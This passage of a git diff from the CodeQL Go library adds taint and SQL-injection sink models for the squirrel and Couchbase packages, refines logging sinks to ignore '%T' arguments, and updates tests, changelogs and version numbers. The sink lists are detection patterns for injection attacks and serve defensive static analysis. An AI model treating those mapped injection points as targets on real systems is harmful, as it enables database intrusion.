+      - ["group:gocb2", "AnalyticsResult", True, "One", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "AnalyticsResult", True, "Raw", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "AnalyticsResult", True, "Row", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "AnalyticsResultRaw", True, "NextBytes", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "GetResult", True, "Content", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "LookupInAllReplicasResult", True, "Next", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "LookupInResult", True, "ContentAt", "", "", "Argument[receiver]", "Argument[1]", "taint", "manual"]
+      - ["group:gocb2", "MutateInResult", True, "ContentAt", "", "", "Argument[receiver]", "Argument[1]", "taint", "manual"]
+      - ["group:gocb2", "QueryResult", True, "One", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "QueryResult", True, "Raw", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "QueryResult", True, "Row", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "QueryResultRaw", True, "NextBytes", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "ScanResult", True, "Next", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "ScanResultItem", True, "Content", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "SearchResult", True, "Raw", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "SearchResult", True, "Row", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "SearchResultRaw", True, "NextBytes", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "TransactionGetResult", True, "Content", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "TransactionQueryResult", True, "One", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "TransactionQueryResult", True, "Row", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb2", "ViewResult", True, "Raw", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "ViewResult", True, "Row", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb2", "ViewResultRaw", True, "NextBytes", "", "", "Argument[receiver]", "ReturnValue[0]", "taint", "manual"]
diff --git a/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml b/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml
deleted file mode 100644
index 6f3c5830e457..000000000000
--- a/go/ql/lib/ext/github.com.mastermind.squirrel.model.yml
+++ /dev/null
@@ -1,51 +0,0 @@
-extensions:
-  - addsTo:
-      pack: codeql/go-all
-      extensible: packageGrouping
-    data:
-      - ["squirrel", "github.com/Masterminds/squirrel"]
-      - ["squirrel", "gopkg.in/Masterminds/squirrel"]
-      - ["squirrel", "github.com/lann/squirrel"]
-  - addsTo:
-      pack: codeql/go-all
-      extensible: sinkModel
-    data:
-      - ["group:squirrel", "", False, "Delete", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "", False, "Expr", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "", False, "Insert", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "", False, "Select", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "", False, "Update", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-
-      - ["group:squirrel", "DeleteBuilder", True, "From", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "DeleteBuilder", True, "OrderBy", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "DeleteBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "DeleteBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
-      # DeleteBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
-
-      - ["group:squirrel", "InsertBuilder", True, "Columns", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "InsertBuilder", True, "Into", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "InsertBuilder", True, "Options", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "InsertBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "InsertBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
-
-      - ["group:squirrel", "SelectBuilder", True, "CrossJoin", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "Column", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "Columns", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "SelectBuilder", True, "From", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "GroupBy", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "InnerJoin", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "LeftJoin", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "Options", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "SelectBuilder", True, "OrderBy", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "SelectBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "RightJoin", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "SelectBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
-      # SelectBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
-
-      - ["group:squirrel", "UpdateBuilder", True, "From", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "UpdateBuilder", True, "OrderBy", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
-      - ["group:squirrel", "UpdateBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "UpdateBuilder", True, "Set", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "UpdateBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
-      - ["group:squirrel", "UpdateBuilder", True, "Table", "", "", "Argument[0]", "sql-injection", "manual"]
-      # UpdateBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
diff --git a/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml
new file mode 100644
index 000000000000..3544f0ac3cfd
--- /dev/null
+++ b/go/ql/lib/ext/github.com.masterminds.squirrel.model.yml
@@ -0,0 +1,84 @@
+extensions:
+  - addsTo:
+      pack: codeql/go-all
+      extensible: packageGrouping
+    data:
+      - ["squirrel", "github.com/Masterminds/squirrel"]
+      - ["squirrel", "gopkg.in/Masterminds/squirrel"]
+      - ["squirrel", "github.com/lann/squirrel"]
+  - addsTo:
+      pack: codeql/go-all
+      extensible: sourceModel
+    data:
+      - ["group:squirrel", "", True, "QueryContextWith", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "", True, "QueryRowContextWith", "", "", "ReturnValue", "database", "manual"]
+      - ["group:squirrel", "", True, "QueryRowWith", "", "", "ReturnValue", "database", "manual"]
+      - ["group:squirrel", "", True, "QueryWith", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "DeleteBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "DeleteBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "DeleteBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "InsertBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "InsertBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "InsertBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "InsertBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "QueryRower", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "QueryRowerContext", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "Queryer", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "QueryerContext", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "StdSql", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "StdSql", True, "QueryRow", "", "", "ReturnValue", "database", "manual"]
+      - ["group:squirrel", "StdSqlCtx", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "StdSqlCtx", True, "QueryRowContext", "", "", "ReturnValue", "database", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "QueryContext", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "QueryRow", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "QueryRowContext", "", "", "ReturnValue[0]", "database", "manual"]
+  - addsTo:
+      pack: codeql/go-all
+      extensible: sinkModel
+    data:
+      - ["group:squirrel", "", False, "Delete", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "", False, "Expr", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "", False, "Insert", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "", False, "Select", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "", False, "Update", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+
+      - ["group:squirrel", "DeleteBuilder", True, "From", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "DeleteBuilder", True, "OrderBy", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "DeleteBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "DeleteBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
+      # DeleteBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
+
+      - ["group:squirrel", "InsertBuilder", True, "Columns", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "InsertBuilder", True, "Into", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "InsertBuilder", True, "Options", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "InsertBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "InsertBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
+
+      - ["group:squirrel", "SelectBuilder", True, "CrossJoin", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "Column", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "Columns", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "SelectBuilder", True, "From", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "GroupBy", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "InnerJoin", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "LeftJoin", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "Options", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "SelectBuilder", True, "OrderBy", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "SelectBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "RightJoin", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "SelectBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
+      # SelectBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
+
+      - ["group:squirrel", "UpdateBuilder", True, "From", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "OrderBy", "", "", "Argument[0]", "sql-injection", "manual"] # TODO: when sources can have access paths, use .ArrayElement
+      - ["group:squirrel", "UpdateBuilder", True, "Prefix", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "Set", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "Suffix", "", "", "Argument[0]", "sql-injection", "manual"]
+      - ["group:squirrel", "UpdateBuilder", True, "Table", "", "", "Argument[0]", "sql-injection", "manual"]
+      # UpdateBuilder.Where has to be modeled in QL to avoid FPs when a non-string argument is used
+
+    # There are summary models for Row.Scan, RowScanner.Scan, {Insert,Delete,Select,Update}Builder.Scan and {Insert,Delete,Select,Update}Builder.ScanContext modeled in QL
diff --git a/go/ql/lib/ext/sync.model.yml b/go/ql/lib/ext/sync.model.yml
index da03ce0acc27..5a318552f531 100644
--- a/go/ql/lib/ext/sync.model.yml
+++ b/go/ql/lib/ext/sync.model.yml
@@ -6,10 +6,10 @@ extensions:
       - ["sync", "Map", True, "CompareAndSwap", "", "", "Argument[2]", "Argument[receiver]", "taint", "manual"]
       - ["sync", "Map", True, "Load", "", "", "Argument[receiver]", "ReturnValue[0]", "taint", "manual"]
       - ["sync", "Map", True, "LoadOrStore", "", "", "Argument[receiver]", "ReturnValue[0]", "taint", "manual"]
-      - ["sync", "Map", True, "LoadOrStore", "", "", "Argument[0..1]", "Argument[receiver]", "taint", "manual"]
-      - ["sync", "Map", True, "LoadOrStore", "", "", "Argument[0..1]", "ReturnValue[0]", "taint", "manual"]
-      - ["sync", "Map", True, "Store", "", "", "Argument[0..1]", "Argument[receiver]", "taint", "manual"]
+      - ["sync", "Map", True, "LoadOrStore", "", "", "Argument[1]", "Argument[receiver]", "taint", "manual"]
+      - ["sync", "Map", True, "LoadOrStore", "", "", "Argument[1]", "ReturnValue[0]", "taint", "manual"]
+      - ["sync", "Map", True, "Store", "", "", "Argument[1]", "Argument[receiver]", "taint", "manual"]
       - ["sync", "Map", True, "Swap", "", "", "Argument[receiver]", "ReturnValue[0]", "taint", "manual"]
-      - ["sync", "Map", True, "Swap", "", "", "Argument[0..1]", "Argument[receiver]", "taint", "manual"]
+      - ["sync", "Map", True, "Swap", "", "", "Argument[1]", "Argument[receiver]", "taint", "manual"]
       - ["sync", "Pool", True, "Get", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
       - ["sync", "Pool", True, "Put", "", "", "Argument[0]", "Argument[receiver]", "taint", "manual"]
diff --git a/go/ql/lib/go.qll b/go/ql/lib/go.qll
index df725017dc85..51ff4916e16f 100644
--- a/go/ql/lib/go.qll
+++ b/go/ql/lib/go.qll
@@ -57,6 +57,7 @@ import semmle.go.frameworks.Protobuf
 import semmle.go.frameworks.Revel
 import semmle.go.frameworks.Spew
 import semmle.go.frameworks.SQL
+import semmle.go.frameworks.Squirrel
 import semmle.go.frameworks.Stdlib
 import semmle.go.frameworks.SystemCommandExecutors
 import semmle.go.frameworks.Testing
diff --git a/go/ql/lib/qlpack.yml b/go/ql/lib/qlpack.yml
index 795008cc29c9..487e9205e728 100644
--- a/go/ql/lib/qlpack.yml
+++ b/go/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/go-all
-version: 4.2.1
+version: 4.2.2
 groups: go
 dbscheme: go.dbscheme
 extractor: go
diff --git a/go/ql/lib/semmle/go/Concepts.qll b/go/ql/lib/semmle/go/Concepts.qll
index 3f0cd0f8885e..1931f16871ab 100644
--- a/go/ql/lib/semmle/go/Concepts.qll
+++ b/go/ql/lib/semmle/go/Concepts.qll
@@ -357,6 +357,23 @@ module RegexpReplaceFunction {
 class LoggerCall extends DataFlow::Node instanceof LoggerCall::Range {
   /** Gets a node that is a part of the logged message. */
   DataFlow::Node getAMessageComponent() { result = super.getAMessageComponent() }
+
+  /**
+   * Gets a node whose value is a part of the logged message.
+   *
+   * Components corresponding to the format specifier "%T" are excluded as
+   * their type is logged rather than their value.
+   */
+  DataFlow::Node getAValueFormattedMessageComponent() {
+    result = this.getAMessageComponent() and
+    not exists(string formatSpecifier |
+      result = this.(StringOps::Formatting::StringFormatCall).getOperand(_, formatSpecifier) and
+      // We already know that `formatSpecifier` starts with `%`, so we check
+      // that it ends with `T` to confirm that it is `%T` or possibly some
+      // variation on it.
+      formatSpecifier.matches("%T")
+    )
+  }
 }
 
 /** Provides a class for modeling new logging APIs. */
diff --git a/go/ql/lib/semmle/go/frameworks/Squirrel.qll b/go/ql/lib/semmle/go/frameworks/Squirrel.qll
new file mode 100644
index 000000000000..c7d75003cfe7
--- /dev/null
+++ b/go/ql/lib/semmle/go/frameworks/Squirrel.qll
@@ -0,0 +1,85 @@
+/**
+ * Provides classes modeling security-relevant aspects of the `squirrel` ORM package.
+ */
+
+import go
+
+/**
+ * Provides classes modeling security-relevant aspects of the `squirrel` ORM package.
+ */
+module Squirrel {
+  private string packagePath() {
+    result =
+      package([
+          "github.com/Masterminds/squirrel",
+          "github.com/lann/squirrel",
+          "gopkg.in/Masterminds/squirrel",
+        ], "")
+  }
+
+  private class RowScan extends TaintTracking::FunctionModel, Method {
+    FunctionInput inp;
+    FunctionOutput outp;
+
+    RowScan() {
+      // signature: func (r *Row) Scan(dest ...interface{}) error
+      this.hasQualifiedName(packagePath(), "Row", "Scan") and
+      inp.isReceiver() and
+      outp.isParameter(_)
+    }
+
+    override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
+      input = inp and output = outp
+    }
+  }
+
+  private class RowScannerScan extends TaintTracking::FunctionModel, Method {
+    FunctionInput inp;
+    FunctionOutput outp;
+
+    RowScannerScan() {
+      // signature: func (rs *RowScanner) Scan(dest ...interface{}) error
+      this.hasQualifiedName(packagePath(), "RowScanner", "Scan") and
+      inp.isReceiver() and
+      outp.isParameter(_)
+    }
+
+    override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
+      input = inp and output = outp
+    }
+  }
+
+  private class BuilderScan extends TaintTracking::FunctionModel, Method {
+    FunctionInput inp;
+    FunctionOutput outp;
+
+    BuilderScan() {
+      // signature: func (b {Insert,Delete,Select,Update}Builder) Scan(dest ...interface{}) error
+      this.hasQualifiedName(packagePath(),
+        ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "Scan") and
+      inp.isReceiver() and
+      outp.isParameter(_)
+    }
+
+    override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
+      input = inp and output = outp
+    }
+  }
+
+  private class BuilderScanContext extends TaintTracking::FunctionModel, Method {
+    FunctionInput inp;
+    FunctionOutput outp;
+
+    BuilderScanContext() {
+      // signature: func (b {Insert,Delete,Select,Update}Builder) ScanContext(ctx context.Context, dest ...interface{}) error
+      this.hasQualifiedName(packagePath(),
+        ["DeleteBuilder", "InsertBuilder", "SelectBuilder", "UpdateBuilder"], "ScanContext") and
+      inp.isReceiver() and
+      exists(int i | i > 0 | outp.isParameter(i))
+    }
+
+    override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) {
+      input = inp and output = outp
+    }
+  }
+}
diff --git a/go/ql/lib/semmle/go/security/CleartextLoggingCustomizations.qll b/go/ql/lib/semmle/go/security/CleartextLoggingCustomizations.qll
index 17a7345b23e7..6c95686cb8c8 100644
--- a/go/ql/lib/semmle/go/security/CleartextLoggingCustomizations.qll
+++ b/go/ql/lib/semmle/go/security/CleartextLoggingCustomizations.qll
@@ -40,7 +40,7 @@ module CleartextLogging {
    * An argument to a logging mechanism.
    */
   class LoggerSink extends Sink {
-    LoggerSink() { this = any(LoggerCall log).getAMessageComponent() }
+    LoggerSink() { this = any(LoggerCall log).getAValueFormattedMessageComponent() }
   }
 
   /**
diff --git a/go/ql/lib/semmle/go/security/LogInjectionCustomizations.qll b/go/ql/lib/semmle/go/security/LogInjectionCustomizations.qll
index 188256f9643b..565cf29a4508 100644
--- a/go/ql/lib/semmle/go/security/LogInjectionCustomizations.qll
+++ b/go/ql/lib/semmle/go/security/LogInjectionCustomizations.qll
@@ -35,7 +35,7 @@ module LogInjection {
 
   /** An argument to a logging mechanism. */
   class LoggerSink extends Sink {
-    LoggerSink() { this = any(LoggerCall log).getAMessageComponent() }
+    LoggerSink() { this = any(LoggerCall log).getAValueFormattedMessageComponent() }
   }
 
   /**
diff --git a/go/ql/src/CHANGELOG.md b/go/ql/src/CHANGELOG.md
index fb033ceb26ce..ff91b3d9ce83 100644
--- a/go/ql/src/CHANGELOG.md
+++ b/go/ql/src/CHANGELOG.md
@@ -1,3 +1,9 @@
+## 1.1.11
+
+### Minor Analysis Improvements
+
+* False positives in "Log entries created from user input" (`go/log-injection`) and "Clear-text logging of sensitive information" (`go/clear-text-logging`) which involved the verb `%T` in a format specifier have been fixed. As a result, some users may also see more alerts from the "Use of constant `state` value in OAuth 2.0 URL" (`go/constant-oauth2-state`) query.
+
 ## 1.1.10
 
 No user-facing changes.
diff --git a/go/ql/src/InconsistentCode/UnhandledCloseWritableHandle.ql b/go/ql/src/InconsistentCode/UnhandledCloseWritableHandle.ql
index 8846f52fb743..211cf4b3985e 100644
--- a/go/ql/src/InconsistentCode/UnhandledCloseWritableHandle.ql
+++ b/go/ql/src/InconsistentCode/UnhandledCloseWritableHandle.ql
@@ -97,6 +97,7 @@ predicate isCloseSink(DataFlow::Node sink, DataFlow::CallNode closeCall) {
   // where the function is called on the sink
   closeCall.getReceiver() = sink and
   // and check that it is not dominated by a call to `os.File.Sync`.
+  // TODO: fix this logic when `closeCall` is in a defer statement.
   not exists(IR::Instruction syncInstr, DataFlow::Node syncReceiver, DataFlow::CallNode syncCall |
     // match the instruction corresponding to an `os.File.Sync` call with the predecessor
     syncCall.asInstruction() = syncInstr and
diff --git a/go/ql/src/Security/CWE-352/ConstantOauth2State.ql b/go/ql/src/Security/CWE-352/ConstantOauth2State.ql
index daaac1ce4f3b..31b6907ffddf 100644
--- a/go/ql/src/Security/CWE-352/ConstantOauth2State.ql
+++ b/go/ql/src/Security/CWE-352/ConstantOauth2State.ql
@@ -138,7 +138,9 @@ predicate privateUrlFlowsToAuthCodeUrlCall(DataFlow::CallNode call) {
 
 module FlowToPrintConfig implements DataFlow::ConfigSig {
   additional predicate isSinkCall(DataFlow::Node sink, DataFlow::CallNode call) {
-    exists(LoggerCall logCall | call = logCall | sink = logCall.getAMessageComponent())
+    exists(LoggerCall logCall | call = logCall |
+      sink = logCall.getAValueFormattedMessageComponent()
+    )
   }
 
   predicate isSource(DataFlow::Node source) { source = any(AuthCodeUrl m).getACall().getResult() }
diff --git a/go/ql/src/change-notes/released/1.1.11.md b/go/ql/src/change-notes/released/1.1.11.md
new file mode 100644
index 000000000000..44dc87cea8c2
--- /dev/null
+++ b/go/ql/src/change-notes/released/1.1.11.md
@@ -0,0 +1,5 @@
+## 1.1.11
+
+### Minor Analysis Improvements
+
+* False positives in "Log entries created from user input" (`go/log-injection`) and "Clear-text logging of sensitive information" (`go/clear-text-logging`) which involved the verb `%T` in a format specifier have been fixed. As a result, some users may also see more alerts from the "Use of constant `state` value in OAuth 2.0 URL" (`go/constant-oauth2-state`) query.
diff --git a/go/ql/src/codeql-pack.release.yml b/go/ql/src/codeql-pack.release.yml
index 4c01918d4144..121f8cf035d3 100644
--- a/go/ql/src/codeql-pack.release.yml
+++ b/go/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.1.10
+lastReleaseVersion: 1.1.11
diff --git a/go/ql/src/codeql-suites/go-ccr.qls b/go/ql/src/codeql-suites/go-code-quality.qls
similarity index 100%
rename from go/ql/src/codeql-suites/go-ccr.qls
rename to go/ql/src/codeql-suites/go-code-quality.qls
diff --git a/go/ql/src/qlpack.yml b/go/ql/src/qlpack.yml
index adf45a0fd071..514a7809b7fa 100644
--- a/go/ql/src/qlpack.yml
+++ b/go/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/go-queries
-version: 1.1.10
+version: 1.1.11
 groups:
   - go
   - queries
diff --git a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/LoggerCall.ql b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/LoggerCall.ql
index 7eef263ec830..11680579012a 100644
--- a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/LoggerCall.ql
+++ b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/LoggerCall.ql
@@ -4,14 +4,20 @@ import ModelValidation
 import utils.test.InlineExpectationsTest
 
 module LoggerTest implements TestSig {
-  string getARelevantTag() { result = "logger" }
+  string getARelevantTag() { result = ["type-logger", "logger"] }
 
   predicate hasActualResult(Location location, string element, string tag, string value) {
     exists(LoggerCall log |
       log.getLocation() = location and
       element = log.toString() and
-      value = log.getAMessageComponent().toString() and
-      tag = "logger"
+      (
+        value = log.getAValueFormattedMessageComponent().toString() and
+        tag = "logger"
+        or
+        value = log.getAMessageComponent().toString() and
+        not value = log.getAValueFormattedMessageComponent().toString() and
+        tag = "type-logger"
+      )
     )
   }
 }
diff --git a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/glog.go b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/glog.go
index 6913bfc95760..ab82527b5e0c 100644
--- a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/glog.go
+++ b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/glog.go
@@ -30,6 +30,13 @@ func glogTest() {
 	glog.Warningf(fmt, text)   // $ logger=fmt logger=text
 	glog.Warningln(text)       // $ logger=text
 
+	// components corresponding to the format specifier "%T" are not considered vulnerable
+	glog.Errorf("%s: found type %T", text, v)   // $ logger="%s: found type %T" logger=text type-logger=v
+	glog.Exitf("%s: found type %T", text, v)    // $ logger="%s: found type %T" logger=text type-logger=v
+	glog.Fatalf("%s: found type %T", text, v)   // $ logger="%s: found type %T" logger=text type-logger=v
+	glog.Infof("%s: found type %T", text, v)    // $ logger="%s: found type %T" logger=text type-logger=v
+	glog.Warningf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
+
 	klog.Error(text)           // $ logger=text
 	klog.ErrorDepth(0, text)   // $ logger=text
 	klog.Errorf(fmt, text)     // $ logger=fmt logger=text
@@ -50,4 +57,11 @@ func glogTest() {
 	klog.WarningDepth(0, text) // $ logger=text
 	klog.Warningf(fmt, text)   // $ logger=fmt logger=text
 	klog.Warningln(text)       // $ logger=text
+
+	// components corresponding to the format specifier "%T" are not considered vulnerable
+	klog.Errorf("%s: found type %T", text, v)   // $ logger="%s: found type %T" logger=text type-logger=v
+	klog.Exitf("%s: found type %T", text, v)    // $ logger="%s: found type %T" logger=text type-logger=v
+	klog.Fatalf("%s: found type %T", text, v)   // $ logger="%s: found type %T" logger=text type-logger=v
+	klog.Infof("%s: found type %T", text, v)    // $ logger="%s: found type %T" logger=text type-logger=v
+	klog.Warningf("%s: found type %T", text, v) // $ logger="%s: found type %T" logger=text type-logger=v
 }
diff --git a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/logrus.go b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/logrus.go
index ce2d3ba4e253..bdb57aae2e1b 100644
--- a/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/logrus.go
+++ b/go/ql/test/library-tests/semmle/go/concepts/LoggerCall/logrus.go
@@ -32,4 +32,8 @@ func logrusCalls() {
 	logrus.Panicln(text)     // $ logger=text
 	logrus.Infof(fmt, text)  // $ logger=fmt logger=text
 	logrus.FatalFn(fn)       // $ logger=fn
+
